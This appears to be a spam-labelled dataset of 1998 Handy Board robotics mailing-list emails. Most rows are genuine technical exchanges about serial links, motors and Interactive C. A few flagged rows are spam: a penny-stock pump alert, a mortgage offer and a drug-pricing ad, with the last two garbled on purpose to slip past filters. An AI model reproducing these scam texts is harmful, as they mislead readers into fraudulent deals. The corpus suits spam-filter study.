""("" (line 6 is the line with float array declaration) Does IC not handle preprocessor directives? Thanks Michael T. Gansler BOSCH -- K1-Fh/ESC1 -- VDC Systems (248) 848-2489 (248) 553-1986 Fax email: Mike.Gansler@bosch-brakes.com ",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Tue, 08 Dec 1998 12:08:01 -0500",Serial interface/ RF data link,"Let's say I want to use a serial interface board without the ""charger"", as the one provided with the Handyboard kit. The Tx and Rx lines are obviously required, but what about the ground and power lines?... Speaking of ""easy to interface"" data link solutions, I have a kit from Lynx Technologies which is supposed to provide a wireless two way voice/ data link. All that you need to provide is the tx/rx data. The kit has 2 tx, 2 rx modules and RS232 interfaces on 2 development boards (for 2 way communication) it also includes 2 antennas. I had to order another pair in order to provide the 2 way data link. Unfortunately, I have not had any luck. This brings me back to the first point- is it possible to use the serial interface board by just providing the tx and rx lines? I took a spare modular phone cable and tested it with the Handyboard's serial interface board to make sure it worked... It did. Next, I cut it in half and exposed the 4 wires. Judging from the schematic in the Handyboard manual, the yellow wire is the rx line, the green is ground, the red power, and black is the tx line. So I reconnected the tx and rx lines, and tried to run ic. When I did, I got the message ""Board disconnected or not responding"". I then reconnected the ground wire, but got the same message. It was only when I reattached the red power wire that ic finally loaded successfully. I guess my question is- with any of the wireless link solutions suggested, how can we provide just the tx and rx data, without using the ground and power lines? Or, at the very least, without the power line? ( Ground can be provided from the receiver board). Thanks again, Dave ",0,0 DjKOz97@aol.com,handyboard@media.mit.edu,"Tue, 08 Dec 1998 12:14:33 -0500",Serial Interface/ RF data link,"Sorry, the kit is from LINX Technologies (not LYNX) Linx Technologies -- Products http://www.linxtechnologies.com/",0,1 Christian Lott ,handyboard@media.mit.edu,"Tue, 08 Dec 1998 11:17:51 -0700",Help with overcharged batteries,"Last night we discovered that we had left our Handyboard on ZAP when we thought we had left it to trickle. It was left at this condition for about 6 hours. This morning the motors are running very sluggish. Are our Handyboard or its batteries salvagable? Any comment on how we should proceed will help. Also the Handyboard was not fully discharged when we left it. Thank you Chris Lott and Jason Moore ",0,0 brett anthony ,DjKOz97@aol.com,"Tue, 08 Dec 1998 10:42:21 -0800",RE: Serial interface/ RF data link,"<> Unfortunately, I have not had any luck. This brings me back to the first point- is it possible to use the serial interface board by just providing the tx and rx lines? <> In short, no. The serial interface board takes power from the HB to drive it's end of the serial link to the computer. If you want to convert the link between the interface board and the HB to wireless, you should be able to power the interface board with a 9V battery which you could stuff into the (conveniently large) plastic base. However you do it, the serial board needs power, and if the Tx/Rx connection to the HB is wired, you need a ground (common) wire too, even if the serial board is independently powered. Brett Anthony Equipment Technician College of Engineering and Computer Science California State University, Sacramento Postal Mail: Brett Anthony CSUS, E&CS 6000 J St. Sacramento, CA 95819-6023 email: anthonyb@ecs.csus.edu phone: (916)278-6253 fax: (916)278-5949",0,0 Darkman ,"DjKOz97@aol.com, handyboard@media.mit.edu","Tue, 08 Dec 1998 13:42:03 -0500",Re: Serial interface/ RF data link,"To properly comunicate with any PC you need to convert your TTL TX and TTL RX signals coming from the Handy Board to RS232 voltage levels. The charging board contains this interface IC called the ""MAX232"" The power wire is required unless you are willing to power the Serial interface board from a separate wall adapter and you definetly require the ground wire because this is the common ground return for both the TX and RX lines. You need power to supply the MAX232 IC! As for your second question I assume that most of these RF links require only TTL level TX and RX signal and a common ground to work so there is no need to use the charging board at all. I hope this helps. ann-Original Message----- From: DjKOz97@aol.com To: handyboard@media.mit.edu Date: Tuesday, December 08, 1998 1:10 PM Subject: Serial interface/ RF data link >Let's say I want to use a serial interface board without the ""charger"", as the >one provided with the Handyboard kit. The Tx and Rx lines are obviously >required, but what about the ground and power lines?... >Speaking of ""easy to interface"" data link solutions, I have a kit from Lynx >Technologies which is supposed to provide a wireless two way voice/ data link. >All that you need to provide is the tx/rx data. The kit has 2 tx, 2 rx modules >and RS232 interfaces on 2 development boards (for 2 way communication) it also >includes 2 antennas. I had to order another pair in order to provide the 2 way >data link. >Unfortunately, I have not had any luck. This brings me back to the first >point- is it possible to use the serial interface board by just providing the >tx and rx lines? >I took a spare modular phone cable and tested it with the Handyboard's serial >interface board to make sure it worked... It did. Next, I cut it in half and >exposed the 4 wires. Judging from the schematic in the Handyboard manual, the >yellow wire is the rx line, the green is ground, the red power, and black is >the tx line. So I reconnected the tx and rx lines, and tried to run ic. When I >did, I got the message ""Board disconnected or not responding"". I then >reconnected the ground wire, but got the same message. It was only when I >reattached the red power wire that ic finally loaded successfully. >I guess my question is- with any of the wireless link solutions suggested, how >can we provide just the tx and rx data, without using the ground and power >lines? Or, at the very least, without the power line? ( Ground can be provided >from the receiver board). >Thanks again, >Dave >",0,0 """Gansler Mike (K1-Fh/ESC1)"" ",handyboard@media.mit.edu,"Tue, 08 Dec 1998 13:42:17 -0500",persistent var's in IC," Has anyone had problames with the Handyboard, IC 3.2 and 'persistent' variables? the following declaration works fine : persistent float i; but using an array: persistent float battery_voltage[ 320 ]; always causes an error while downloading : IC> load charge.c Reloading charge.c. Initializing interrupts Downloading 1552 bytes (addresses 8000-860F): 1552 loaded Downloading 76 bytes (addresses 8610-865B): 76 loaded Downloading 1627 bytes (addresses 865C-8CB6): 1627 loaded Board synchronization error: sent 119, received 12 Unloading charge.c. #done Otherwise, I very rarely see any ""Board synchronization"" problems with downloading, and the above is very repeatable, leading me to believe IC doesn't like the persistent float array. Thanks. Michael T. Gansler BOSCH -- K1-Fh/ESC1 -- VDC Systems (248) 848-2489 (248) 553-1986 Fax email: Mike.Gansler@bosch-brakes.com ",0,0 brett anthony ,'Christian Lott' ,"Tue, 08 Dec 1998 11:49:18 -0800",RE: Help with overcharged batteries,"<,Handyboard mailing list ,"Tue, 08 Dec 1998 21:28:29 +0100",Do It Yourself RF module????,"Hi, Now that the topic of RF commucation seems to arise again, I have a question too. After looking at the RF modules of radiometrix and linx I concluded that: 1. They are too expensive 2. They are probably not available here in the netherlands Since I'm a student in electrical enginering I figured that I should be able to build some RF module myself. But until now I did not find any hint/links on the internet how to do something like that. Is there nobody out there who designed a cheap working RF module for data communication up to about 10 kbps?? I just want a cheap RF link between my PC and HB..... Hope somebody has any hints/links... Thanx in advance, Bastiaan Jansen ",0,0 FEDERICO SANTELLO ,handyboard@media.mit.edu,"Tue, 08 Dec 1998 22:30:55 +0100",Where i can buy?,"I try to buy the flash ram type NM29A040 or TC58A040. Or another type of serial ram eeprom for my HB. But i don't know where i can find,buy it. Does anyone know who sell on-line, this IC's. Thank Fede. E-mail: fedsante@tin.it ",0,0 wwwww ,handyboard@media.mit.edu,"Wed, 09 Dec 1998 03:11:47 +0800",免費計程車,Karyn�K�O�p�{��   �@�����������a���L�x�d�l�M���l�������h�C   �L�d�U�@���p�{��;   �M�����q��:�u�����������n�h����?�v   �q����:�u�A�M�A�����C�H�@�����A�|�����l�����K�O�C�v   �u�����W�h�A���l���I�v�������W�����l���G�u�A���K�O���L�x���l�A���M�����|���i���h���C�v,1,1 Andre Philippi ,handyboard@media.mit.edu,"Tue, 08 Dec 1998 16:29:31 -0800","Newbie Questions, Problems & Contributions...","Hi, I have few newbie questions, and a contribution to make... Background info: ---------------- I have been playing with my HB for a week now, using the free IC 2.850 under NTServer4.0... So far, Ive been sucessfully able to control DC motors, send beep()s, load and run my own .c files... Was NOT able to make analog() or knob() to work... Today I brought the HB to work and installed on my Solaris 2.4 box, where I'm running free IC 2.850 for sparc/solaris... So far I've been able to acomplish the SAME as I did on NT... Questions & Problems: --------------------- 1) According to the docs, I should run ""dl pcode_hb.s19""... This is what I got under NT & Solaris: Cannot find file pcode_hb.s19 or file /home/philippi/packages/ic-sparc-solaris- 2853/lib/pcode_hb.s19 See ""dl"" output bellow... Why is this happening? My lib path is properly set... 2) Because of the above, I've been doing ""dl pcoder22.s19"", which works fine... Is it ""Ok"" to do ""dl pcoder22.s19"" instead ""dl pcode_hb.s19"" ? What is the difference? 3) Knob() is not available... C> knob(); Error in user interaction around line 1: Function knob undefined ...frob_knob() is available instead, but always returns 255... See ""list functions"" output bellow... How can I make knob() work please? 4) analog() returns 255 all the time... I have a photocell sensor (built according to docs) on analog port 1, and no matter what I do with the light over the sensor, I always get 255... Why? How can I fix that please? 5) After I load a function named main() and reset the HB, the board auto starts main()... So far, so good...:) The problem is that according to the docs, I should be able to override main() during startup, by pressing the ""start"" button while turning on the HB... But that's not happening... main() is outo execing no matter what... So far my solution has been putting the HB on bootstrap mode, and doing a ""dl"" all over again... Why is this happening ? How can I fix that, please? 6) The other day O posted a question on how to hack a servo so it turns infinitely, instead of 180 degrees only... Then I was thinking... If I do that, then I wouldn't be able to know how many turns my shaft has done, right? I would have to use a shaft encoder, right? Could I use a stepper motor instead? Would a stepper motor let me perform infinite turns, and at the same time give me some feedback on how many turns have been done? Does the HB provide any kind of stepper motor support ? 7) Is anyone archiving this mailing list ? If not, then I'm volunteering to start archiving it, convert it to HTML, and make it available throuw a web server... ...Basically, a web intercafe to the archive... I've read that Fred prefers the mainling list format, but instead of replacing the mainling list (with a newsgroup, as suggested before); I'd like to create a web interface to the mailing list archive only... Let me know what you think... 8) I'm half way through building an expectk daemon, that listens to TCP/IP requests on port 2020 (temporarely), and forwards them to IC... This way I (we) could use the daemon to build web, email, and even 2 way pager interfaces to the HB... Anyone heard anybody making such developments? Any ideas? Comments? Now it's the time for it... :) 9) That's it :) IC outputs listed below... Thank you very much in advance for any help... Best regards, Andre Philippi. ########################################################################## # DL procedure (pcode_hb.s19)... ########################################################################## siberia:/home/philippi/packages/ic-sparc-solaris-2853/bin> dl pcode_hb.s19 6811 .s19 file downloader. Version 7.3 Jul 30 1994 Copyright Randy Sargent 1994 Using port /dev/ttya Please place board in download mode and press RETURN To quit, press Q For help, press H Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Download successful Config is 0x0C Cannot find file pcode_hb.s19 or file /home/philippi/packages/ic-sparc-solaris- 2853/lib/pcode_hb.s19 Arguments to dl are: filename.s19 Download this filename -port /dev/??? Set which serial port to use -libdir directory Set which directory has the .s19 files Possibly useful for boards other than the 6.270 board or rug warrior: -bootstrap filename.s19 Use filename.s19 as the bootstrap -config_reg value Set config register to value (in hex). -bs_ignore Ignore serial responses in bootstrap sequence -loopback Expect hardware serial echoes from board -eeprom Program EEPROM, not RAM -1.5 Set -bs_ignore, -loopback, -eeprom, config_reg 0xff -ignore_input Completely ignore returning serial Example: dl pcoder22.s19 -port /dev/ttya -libdir /ic/libs Press any key to continue... Bye! siberia:/home/philippi/packages/ic-sparc-solaris-2853/bin> ########################################################################## # DL procedure (pcoder22.s19)... ########################################################################## siberia:/home/philippi/packages/ic-sparc-solaris-2853/bin> dl pcoder22.s19 6811 .s19 file downloader. Version 7.3 Jul 30 1994 Copyright Randy Sargent 1994 Using port /dev/ttya Please place board in download mode and press RETURN To quit, press Q For help, press H Downloading 256 byte bootstrap (229 data) ................................................................ ................................................................ ................................................................ .....................................___________________________ Download successful Config is 0x0C Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/pcoder22.s19 Sending pcoder22.s19 ............................................................................... ............................................................................... ............................................................................... ...Done. Press the board's RESET button to start pcoder22.s19 Bye! siberia:/home/philippi/packages/ic-sparc-solaris-2853/bin> ############################################################# # IC Procedure... ############################################################# siberia:/home/philippi/packages/ic-sparc-solaris-2853/bin> ic Interactive C for 6811. Version 2.850 (Jul 30 1994) IC written Randy Sargent and Anne Wright. Copyright 1994. (uses board pcode by R. Sargent, F. Martin, and A. Wright) This program is freeware and unsupported. It is provided as a service to hobbyists and educators. Type 'about' for information about support and obtaining newer versions of IC. Attempting to link to board on port /dev/ttya Synchronizing with board Pcode version 2.81 present on board Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/lib_r22.lis. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/analog.icb. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/servo.icb. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/servo.c. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/r22expbd.icb. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/lib_r22.c. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/r22_ir.lis. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/r22_ir.icb. Loading /home/philippi/packages/ic-sparc-solaris-2853/lib/r22_ir.c. Initializing interrupts Downloading 2910 bytes (addresses 8000-8B5D): 2910 loaded Globals initialized. Type 'help' for help C> ############### # List Files... ############### C> list files servo.c lib_r22.c r22_ir.c analog.icb servo.icb r22expbd.icb r22_ir.icb C> ################### # List Functions... ################### C> list functions _init_globals servo_on servo_off servo servo_rad servo_deg radian_to_pulse degree_to_pulse reset_system_time seconds sleep msleep beep tone beeper_on beeper_off set_beeper_pitch fd bk off alloff ao motor _set_motor _set_motor_speeds led_out1 led_out0 motor4_left motor4_right motor5_left motor5_right choose_button escape_button right_button left_button dip_switches dip_switch analog digital motor_force frob_knob hog_processor system_pwm_on system_pwm_off system_print_on system_print_off ir_transmit_on ir_transmit_off set_ir_transmit_period set_ir_transmit_frequency set_ir_receive_period set_ir_receive_frequency ir_counts ir_receive_off ir_receive_on analog_header_port read_analog asm_servo_off asm_servo_on __initialize_module_0 __initialize_module_1 __initialize_module_2 C> ================================================================= Andre Philippi - Applications Developer | Phone: 626-296-5016 philippi@corp.earthlink.net | Fax: 626-296-5113 Earthlink Network, Inc. | 3100 New York Drive http://www.earthlink.net | Pasadena, CA 91107 ================================================================= ",0,1 hachemi mechlih ,"fredm@media.mit.edu, handyboard@media.mit.edu","Tue, 08 Dec 1998 20:56:18 -0800",Question for Fred,"Hi Fred I have question for you. I have to control a position using the miniborad or the handyboard. And I don't know which motors is good the DC servo motor or the stepper motor and whats the diffrence? Another question if you don't mind, have you done or someone you know position control using either the miniboard or the handyboard and is it accurate? Thanx verymuch in advance ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com ",0,1 Bill Denzel ,"handyboard@media.mit.edu, hachemi mechlih ","Tue, 08 Dec 1998 21:24:29 -0000",RE: Question for Fred," That's a funny question. I just finished a class on this exact topic. The basic determining factors when deciding whether to use a stepper motor or a DC brush/less servo motor is speed and open/closed loop control. Stepper motors are limited to about 3000 RPM. You should also determine whether to use open or closed-loop control. Closed loop control should be used when the accuracy required is submicron (or ~0.00004 in), or when the cost of position loss is higher than the cost of implementing a closed loop system. DC servo motors should be used when there is a need for closed-loop control. If you decide to use a closed-loop DC servo system, there are many vendor-supplied cards that are a much preferred route rather that trying to design a closed loop system. Hope this helps! Bill Denzel   Senior Mechatronics Student California Polytechnic State University      San Luis Obispo > -----Original Message----- > From: hachemi mechlih [mailto:hachemi@hotmail.com] > Sent: Wednesday, December 09, 1998 4:56 AM > To: fredm@media.mit.edu; handyboard@media.mit.edu > Cc: hachemi@hotmail.com > Subject: Question for Fred > > > Hi Fred > > I have question for you. I have to control a position using the > miniborad or the handyboard. And I don't know which motors is good the > DC servo motor or the stepper motor and whats the diffrence? > Another question if you don't mind, have you done or someone you know > position control using either the miniboard or the handyboard and is it > accurate? > > Thanx verymuch in advance > > ______________________________________________________ > Get Your Private, Free Email at http://www.hotmail.com > > ",0,1 """J.D.Gullotta.."" ",hachemi mechlih ,"Wed, 09 Dec 1998 02:20:31 -0800",Re: Question for Fred,"hello, i use the handyboard for closed loop position control. the handyboard is good for such a task provided that you choose a motor well suited for the task, and an accurate feedback element, such as a (very) linear pot or optical encoder. as for choice of open loop or closed loop control, i would almost always choose closed loop, unless you are not going to drive any kind of load with your output. if you were to have a changing load on the output of an open loop system, then you will have an unpredictable (somewhat large) error. in my case, i use a DC motor, not a stepper motor. you ask about a servo motor; if you were to use a servo motor, then you would not need a closed loop control system, that is already done for you. the handyboard comes with functions for servos, so you would not need much design to take that route. in the case of the store bought servo, the accuracy is determined by the quality of the design, if you are planning to design your own servo, then the accuracy depends on the components that you use, and your control algorithms. hope this helps, good luck. -- Justin D. Gullotta.. Undergraduate Research Project Center for Automation Technologies Rensselaer Polytechnic Institute Troy, New York 12180-3590 Email: gulloj@rpi.edu ",0,0 Joe Martin ,Handy Board ,"Wed, 09 Dec 1998 20:14:42 +1100",RE: persistent var's in IC," I had a similar problem using the freeware IC and I found that things like the position in the code at which the persistent array was initialised made a difference. Eg put the initialisation of the array right at the beginning of your code, this helped in my case but it also causes the array values to remain in memory at the same location even when the code is recompiled thus preserving thier values over multiple downloads. Joe Martin -----Original Message----- From: Gansler Mike (K1-Fh/ESC1) [mailto:Mike.Gansler@Bosch-Brakes.com] Sent: Wednesday, 9 December 1998 5:42 AM To: handyboard@media.mit.edu Subject: persistent var's in IC Has anyone had problames with the Handyboard, IC 3.2 and 'persistent' variables? the following declaration works fine : persistent float i; but using an array: persistent float battery_voltage[ 320 ]; always causes an error while downloading : IC> load charge.c Reloading charge.c. Initializing interrupts Downloading 1552 bytes (addresses 8000-860F): 1552 loaded Downloading 76 bytes (addresses 8610-865B): 76 loaded Downloading 1627 bytes (addresses 865C-8CB6): 1627 loaded Board synchronization error: sent 119, received 12 Unloading charge.c. #done Otherwise, I very rarely see any ""Board synchronization"" problems with downloading, and the above is very repeatable, leading me to believe IC doesn't like the persistent float array. Thanks. Michael T. Gansler BOSCH -- K1-Fh/ESC1 -- VDC Systems (248) 848-2489 (248) 553-1986 Fax email: Mike.Gansler@bosch-brakes.com ",0,0 Miklo Halbert ,handyboard@media.mit.edu,"Wed, 09 Dec 1998 02:52:04 -0700",Re: nyyuy news,"D k ear Home O r wne c r , Your cr s edi d t doesn't matter to us ! If you OW w N real e a st l at d e and want IM l MED m IA b TE ca z sh to s n pen h d ANY way you like, or simply wish to L m OWER your monthly p s ayment v s by a third or more, here are the de r als we have T a OD m AY : $ 48 a 8 , 000 at a 3 w , 67% f h ixed - ra f te $ 37 m 2 , 000 at a 3 j , 90% v w aria p ble - rat a e $ 49 v 2 , 000 at a 3 , 2 n 1% i e nteres o t - only $ 2 z 48 , 000 at a 3 y , 36% f x ixed - ra d te $ 19 s 8 , 000 at a 3 o , 55% variab h le - ra x te Hurr f y, when these dea z Is are gone, they are gone ! Don't worry about app r rova h l, your cr w edi d t will not di d squa z lify you ! V f isi z t our d site Sincerely, Miklo Halbert Ap g pr j oval Manager",1,1 michael lang kee ,hachemi mechlih ,"Wed, 09 Dec 1998 08:12:34 -0700",Re: Question for Fred,"Hello this is mike, I am writing regarding the handy board. What happened was while working on the handy board, our motor control (the H-bridge) heat sink touch the metal chassis of our robot. This lead to one of the components on our H-bridge to start smoking, my lab partner disconnect all external power to the handy board, and the H-bridge. The communication cable from the computer to the handy board was also disconnected. The handy board was then turned off, and later it was turned on. When the handy board is turned on the LCD display will not turn on. The green and red LED stay on. We checked the batteries of the handy board and it was at 10 Volts. We started to trouble shoot the handy board last night and we are not the best electronic technicians. If any one has ever had this problem please email me back, thank you. oooo$$$$$$$$$$$$oooo oo$$$$$$$$$$$$$$$$$$$$$$$$o oo$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o o$ $$ o$ o $ oo o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$o $$ $$ $$o$ oo $ $ ""$ o$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$o $$$o$$o$ ""$$$$$$o$ o$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$o $$$$$$$$ $$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$$$$$$$$$$$ $$$$$$$$$$$$$ $$$$$$$$$$$$$$ """"""$$$ ""$$$""""""""$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$ $$$ o$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ ""$$$o o$$"" $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$o $$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" ""$$$$$$ooooo$$$$o o$$$oooo$$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ o$$$$$$$$$$$$$$$$$ $$$$$$$$""$$$$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$$$"""""""""""""""" """""""" $$$$ ""$$$$$$$$$$$$$$$$$$$$$$$$$$$$"" o$$$ ""$$$o """"""$$$$$$$$$$$$$$$$$$""$$"" $$$ $$$o ""$$""""$$$$$$"""""""" o$$$ $$$$o o$$$"" ""$$$$o o$$$$$$o""$$$$o o$$$$ ""$$$$$oo """"$$$$o$$$$$o o$$$$"""" """"$$$$$oooo ""$$$o$$$$$$$$$"""""" """"$$$$$$$oo $$$$$$$$$$ """"""""$$$$$$$$$$$ $$$$$$$$$$$$ $$$$$$$$$$"" ""$$$"""""""" --------------- Michael Kee - mlkee@unm.edu - ______________ ",0,0 """Fred G. Martin"" ",michael lang kee ,"Wed, 09 Dec 1998 11:09:36 -0500",Re: Question for Fred ," have you tried re-loading pcode_hb.s19 using a downloader program. fred In your message you said: > Hello this is mike, I am writing regarding the handy board. What happened > was while working on the handy board, our motor control (the H-bridge) > heat > sink touch the metal chassis of our robot. This lead to one of the > components on our H-bridge to start smoking, my lab partner disconnect all > external power to the handy board, and the H-bridge. The communication > cable from the computer to the handy board was also disconnected. The > handy board was then turned off, and later it was turned on. When the > handy board is turned on the LCD display will not turn on. The green and > red LED stay on. We checked the batteries of the handy board and it was > at 10 Volts. We started to trouble shoot the handy board last night and > we are not the best electronic technicians. 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Erickson"" ","handyboard@media.mit.edu, deanna@media.mit.edu, tabatha@media.mit.edu","Wed, 09 Dec 1998 01:24:08 +0000",Stock Trader Alert,"Trading A|ert Premium Petroleum, Inc.|P)P)|T|L| currently trading at around 0.02, we expect a big jump in the price this week up around .10! Act fast on this one! A Massive PR Campaign is underway for Monday and all this week! Premium Petroleum, Inc. is a diversified energy company focused on exploiting the vast oil and gas reserves of Northern Canada. ",1,0 Will ,Handyboard Mailing List ,"Wed, 09 Dec 1998 11:34:25 -0700","Re: Newbie Questions, Problems & Contributions...","Andre Philippi wrote: > Is it ""Ok"" to do ""dl pcoder22.s19"" instead ""dl pcode_hb.s19"" ? > What is the difference? I've heard the difference is that the buttons, the knob and the sensor ports won't work as expected. Try moving pcode_hb.s19 to the directory that contains the dl executable, or to the present working directory, or to the directory specified in the error message. Dl will probably find it in one of those three locations. I imagine that will probably fix most all of your problems. > 7) Is anyone archiving this mailing list ? There are some archives available through the HB web site. I don't know whether they're current. > 8) I'm half way through building an expectk daemon, that listens to > TCP/IP requests on port 2020 (temporarely), and forwards them to IC... > This way I (we) could use the daemon to build web, email, > and even 2 way pager interfaces to the HB... I haven't heard of such things yet. By all means, create a web interface for the HB! I'll then hook up a web cam and let others manipulate my robot online. Thanks and good luck! -- Will , , __@_/ \\_@__ |/ | /__, o @_/ )\\ ) ( \\ (\\/\\\\, ~~~~~~~~~ ' ` ~~~~~~~~~~~ ` ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Wendy Parson, If the world were a logical place, Will Bain, men would ride sidesaddle. & Tatoosh --Rita Mae Brown ",0,0 phillip chia ,handybd ,"Wed, 09 Dec 1998 11:51:21 +0800",DC Motor movement,"hi, The following command will cause the DC motor to rotote one after other according to the std lib and the command. hence, the robot will gradually slanted. It cannot travelled in a straight. motor (2, 100); motor (3,100); My question : how to write in such a way to modify the library files so as to cause both wheels of the motor to rotate simultaneously so that the robot can travel in a straight line. rgds, phillip ",0,0 Campbell Zucco ,handyboard@media.mit.edu,"Wed, 09 Dec 1998 21:57:46 -0400",Re: your PHARqgdM,"Hi, V t I i A g G d R d A e y $ q 3 e , u 3 z 3 k C t I l A u L e I l S t g $ l 3 r , t 7 b 5 a V e A f L n I x U s M m w $ k 1 c , n 2 w 1 y X c A n N g A b X x http://www.fultimeive.com S n A c V g E y x O l V l E r R z l 7 k 0 t % o a W h I v T r H t x O x U u R j v S y H c O e P e ! a some farmhouse, if he could even remember that. He never saw anybody but Nicolo when he was compass mantis, as they say. But Louis DeFazio knew he was right. And because he was right, there were more than seven million big ones waiting for him in Paris. Seven million! Holy Christ! He could give the Palermo gumballs in Paris more than they ever expected and still walk away with a bundle. ",1,1 edmund ,handyboard@media.mit.edu,"Thu, 10 Dec 1998 15:48:43 -0800",Stepper vs DC," after reading your mails, it seems to me that the dc motor is better than the stepper motor. doesn't the stepper motor offer any advantages over the dc motor? is the stepper motor that bad? edmund. ",0,0 John Hatton ,'Handyboard Mailing List' ,"Thu, 10 Dec 1998 09:13:39 -0000",Re. RF data link,"If the data tx/rx modules can't handle TTL levels is there any reason to have the interface board at the PC end ?, why not replace the serial cable going to the PC with the rx/tx modules ?. Surely this should work. John ",0,0 FThompson9@aol.com,handyboard@media.mit.edu,"Thu, 10 Dec 1998 07:43:03 -0500",Re: Do It Yourself RF module????,"Bastiaan: I wanted to suggest that you investigate the Ham Radio community. Some search words to help get you started include PACKET and ARRL. The first is one of the digital communications protocalls used in Ham Radio, and the second is an organization of Radio Amateurs in the U.S. (American Radio Relay League). You could also visit your local library to look for a book call ""The ARRL 19xx HANDBOOK"" (where xx is the year of your choice). hope this helps, Pherd ",0,0 John Vaughn ,edmund ,"Thu, 10 Dec 1998 08:22:18 -0500",Re: Stepper vs DC," edmund wrote: > after reading your mails, it seems to me that the dc motor is better than > the stepper motor. doesn't the stepper motor offer any advantages over > the dc motor? is the stepper motor that bad? > > > edmund. Actually, steppers do have some advantages. 1) If you do not have encoders on DC gearhead motors (or wheels, etc) they are notoriously hard to position accurately. Steppers can be controlled very accurately. Most servo motors cannot rotate beyond 180 degrees unless they are mechanically modified, usually disabling their feedback pots so they have no position sensing. 2) It is hard to hold DC motors in a fixed position (if your robot is headed uphill on a slope) while steppers can be ""locked"" in place by keeping the coils energized. 3) Steppers can be cheaper. Jameco has some small unipolar steppers for $6. You can dig usable steppers out of old 5 1/4 inch floppy disk drives for almost nothing. Optically encoded DC motors are rarely very cheap unless you find remainders, used ones, etc. 4) On the down side, software control of steppers is harder, they require acceleration code (you cannot just ""turn 'em on to 100%"") and they tend to be heavy. I use both kinds of motors in robots for different tasks. John Vaughn vaughn@hws.edu ",0,0 ffotsch ,handyboard@media.mit.edu,"Thu, 30 Aug 1956 21:23:46 +0000",RF modules,"I have not been following the RF questions thread closely on the list, so I don't know what has been mentioned. I have had success using the Radiometrix transceiver modules to establish two-way communication at 9600 baud between my HP 48 graphing calculator and the Handy Board. The HP wants an RS 232 signal and the RF modules want TTL. So I have used an rmax 232 to do the conversion. Also, I have used a PIC micro controller between the calculator and the RF module to change the modes of the transceiver based upon control signals sent by the calculator. The result is, I can drive my robot from my calculator (RF) and then press a button on the calculator and return an analog value from the Handy Board and display it on the HP calculator screen in real time. In addition, I use the calculator to display data (distance vs. time) collected form the Handy Board in graphical format. Let me know if you want additional info. Fred ",0,0 jonesj5@ocps.k12.fl.us,handyboard@media.mit.edu,"Thu, 10 Dec 1998 09:59:36 -0400",stepper motors from 5 1/4 drives,"Okay, another newbie question: What do I need to take out of the 5 1/4 drive, other than the motor to get this to work? Also, what about drivers for the same? Anyplace I can get more info on this? I have a bunch of old drives laying around. thanks JCJ James C. Jones ""The art of teaching is the art Liberty Middle School of assisting discovery."" Phone: 407/249-6440 x425 --Mark Van Doren"" Fax: 407/249-6449 email: jonesj5@ocps.k12.fl.us ",0,0 michaelj@wt.net,handybd ,"Thu, 10 Dec 1998 09:10:36 +0600",Re: DC Motor movement,">hi, >The following command will cause the DC motor to rotote one after other >according to the std lib and the command. hence, the robot will gradually >slanted. It cannot travelled in a straight. > >motor (2, 100); >motor (3,100); > >My question : how to write in such a way to modify the library files so as >to cause both wheels of the motor to rotate simultaneously so that the >robot can travel in a straight line. > Each motor may have slightly different characteristics even though they may be the same brand and model. This is what you are probably seeing. The ultimate solution is to use a feedback mechanism, like a shaft encoder, on the motors and use software and/or hardware to maintain the correct speed. A cheaper alternative is to experiment with different value pairs for the speed setting and manually adjust them to make the robot track straight, then use the information to create a change to your motor driver routines to compensate for the differences. This complicates your software but is the esiest way to fix the problem. A pure software fix will not be able to completely compensate for the differences in the motors, too many variables to deal with, but is may be enough for your needs. Mike ",0,0 Patrick Cutts ,handyboard@media.mit.edu,"Thu, 10 Dec 1998 08:46:05 -0800",Re: Stepper vs DC,"It depends. if you are looking for higher top speed and more torque using less power, DC may be the way to go. If you want accuracy but don't want to deal with shaft encoders and the code overhead needed to precisely control and monitor your DC motors, then step motors are definitely the way to go. I have used step motors as drive motors on all my robots, they are easy to control and are very accurate and easy to use (I use a MC3479 step motor controller IC, which allow a motor to be controlled with two data lines, one to pulse and one for direction.) >after reading your mails, it seems to me that the dc motor is better than >the stepper motor. doesn't the stepper motor offer any advantages over >the dc motor? is the stepper motor that bad? ",0,0 Michael Toh ,handyboard@media.mit.edu,"Fri, 11 Dec 1998 01:17:14 +0800",How to get digital outputs from the handyboard?????????????,"hi everyone, i have been trying for the past few days to get digital outputs from the board but with no success. i have been trying to get digitals outputs from the SPI's pins (J6). i have poke to make the port as output port. but the problem now is how to config the 4 bits. what is the location and the mask bit to do a bit_set/clear. pls help as my deadline for my project is 1 and 1/2 weeks from now. thanks for the help in advance! Michael ",0,0 BMajik5127@aol.com,Handyboard@media.mit.edu,"Thu, 10 Dec 1998 16:33:33 -0500",Re: Re. RF data link," In response to rf link, How about standard wireless modems? I know of a few which are made specifically for this purpose and baud rates are between 300-9600 baud ,you set the rate according to your robots capabilities. If you are interested conact me via email. -Mike ",0,0 Cesar Mello ,handyboard@media.mit.edu,"Thu, 10 Dec 1998 20:41:50 -0200",Suppliers and 